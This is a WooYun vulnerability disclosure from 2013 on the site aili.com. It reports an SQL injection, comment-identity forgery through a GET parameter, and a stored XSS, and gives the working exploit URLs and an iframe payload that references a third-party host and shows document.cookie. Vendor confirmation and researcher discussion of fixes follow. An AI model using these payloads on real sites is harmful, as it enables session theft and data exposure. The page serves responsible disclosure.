当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2013-026152

漏洞标题：爱丽网10分钟3洞，SQL注射+伪造身份+XSS

相关厂商：aili.com

漏洞作者： random_

提交时间：2013-06-17 16:59

修复时间：2013-08-01 16:59

公开时间：2013-08-01 16:59

漏洞类型：SQL注射漏洞

危害等级：中

自评Rank：20

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2013-06-17： 细节已通知厂商并且等待厂商处理中
2013-06-17： 厂商已经确认，细节仅向厂商公开
2013-06-27： 细节向核心白帽子及相关领域专家公开
2013-07-07： 细节向普通白帽子公开
2013-07-17： 细节向实习白帽子公开
2013-08-01： 细节向公众公开

简要描述：

奔着爱丽网的慷慨去的，没想到10分钟3洞，我恬不知耻的要20

详细说明：

1.试用中心try分站一个sql注入点，溢出报错，显语句
http://try.aili.com/usercenter/otherjour/1015756.html?page=2111111111111111111111111

a1.png


2.爱丽网伪造别人留言，留言时get的，把用户名参数改成想要伪造的用户名即可
http://comment.aili.com/index.php?m=comments&content=rtytf111111111111ryr&anonymity=0&uname=admin&uid=1037158&oid=1079&sid=5&title=dfffffffffffffffff&jsonpcallback=jsonp1371457995977
我测试的号是xx12cv，两个都是伪造的

a2.png


3.爱丽网日志xss
日志标题xss，别的没有细试,客户端限制30字节直接控制台id.maxlength=200绕过，
测试代码

<iframe/src=//tmxk.org/csrf onload=alert(document.cookie)>


a3.png


漏洞证明：

修复方案：

参数控制

版权声明：转载请注明来源 random_@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：20

确认时间：2013-06-17 18:54

厂商回复：

3个漏洞，值！

最新状态：

暂无

漏洞评价：

评论

  1. 2013-06-17 17:06 | 淡漠天空 认证白帽子 ( 实习白帽子 | Rank:1113 漏洞数:142 | M:出售GOV STATE NSA CIA NASA DHS Symant...)

    random_agent

  2. 2013-06-17 17:28 | Passer_by ( 实习白帽子 | Rank:97 漏洞数:21 | 问题真实存在但是影响不大（腾讯微博Passer...)

    你说10分钟厂商就不给你那么多了，你应该说搞了好久才发现的，厂商就会给多点

  3. 2013-06-17 17:43 | px1624 ( 普通白帽子 | Rank:1036 漏洞数:175 | px1624)

    。。。目测你是三哥的马甲。。。

  4. 2013-06-17 17:47 | 逆雪寒 ( 实习白帽子 | Rank:74 漏洞数:13 | 脚本 运维架构)

    @爱丽网 ...按理由 昨晚如果对所有服务器进行全局的 SQL注入防护。。。没道理还能那么轻易注入。。 有需要帮忙的。。 QQ我。。我帮你看看

  5. 2013-06-17 17:53 | random_ ( 普通白帽子 | Rank:295 漏洞数:50 | 推动开源推动网络安全)

    @px1624 膜拜三哥

  6. 2013-06-17 17:54 | random_ ( 普通白帽子 | Rank:295 漏洞数:50 | 推动开源推动网络安全)

    @逆雪寒 这个算侧漏？

  7. 2013-06-17 17:55 | random_ ( 普通白帽子 | Rank:295 漏洞数:50 | 推动开源推动网络安全)

    @Passer_by 目测爱丽网十世大好人

  8. 2013-06-17 17:58 | 逆雪寒 ( 实习白帽子 | Rank:74 漏洞数:13 | 脚本 运维架构)

    @random_ 不太可能~如果按照我说那样处理。。。根本没可能有侧漏。。除非有某台服务器没加防护。而那服务器也跑着PHP 。。。

  9. 2013-06-17 18:10 | 乐乐、 ( 普通白帽子 | Rank:853 漏洞数:189 )

    膜拜楼主，我搞了一天没啥结果~

  10. 2013-06-17 18:35 | random_ ( 普通白帽子 | Rank:295 漏洞数:50 | 推动开源推动网络安全)

    @逆雪寒 html?name=xxxxxxxxxxxxxx

  11. 2013-06-17 20:41 | 逆雪寒 ( 实习白帽子 | Rank:74 漏洞数:13 | 脚本 运维架构)

    @random_ @爱丽网 .... html?name=xxxxxxxxxxxxxx 无非伪静态和pathinfo路径两种实现。。。看来是pathinfo实现的。。。才不经过GET 和POST 。。。跳过了360的过滤。。。。的确是个坑。修改下，如果pathinfo 是通过 $_SERVER['PATH_INFO']和$_SERVER['QUERY_STRING'] 实现的。那就过滤他们。

  12. 2013-06-17 22:15 | random_ ( 普通白帽子 | Rank:295 漏洞数:50 | 推动开源推动网络安全)

    @逆雪寒 学习了

  13. 2013-08-07 10:41 | sun ( 实习白帽子 | Rank:76 漏洞数:12 )

    @逆雪寒 给力啊，学习了~

  14. 2013-12-25 16:45 | jeary ( 普通白帽子 | Rank:296 漏洞数:106 | (:‮.kcaH eb nac gnihtynA))

    看看我是不是路人！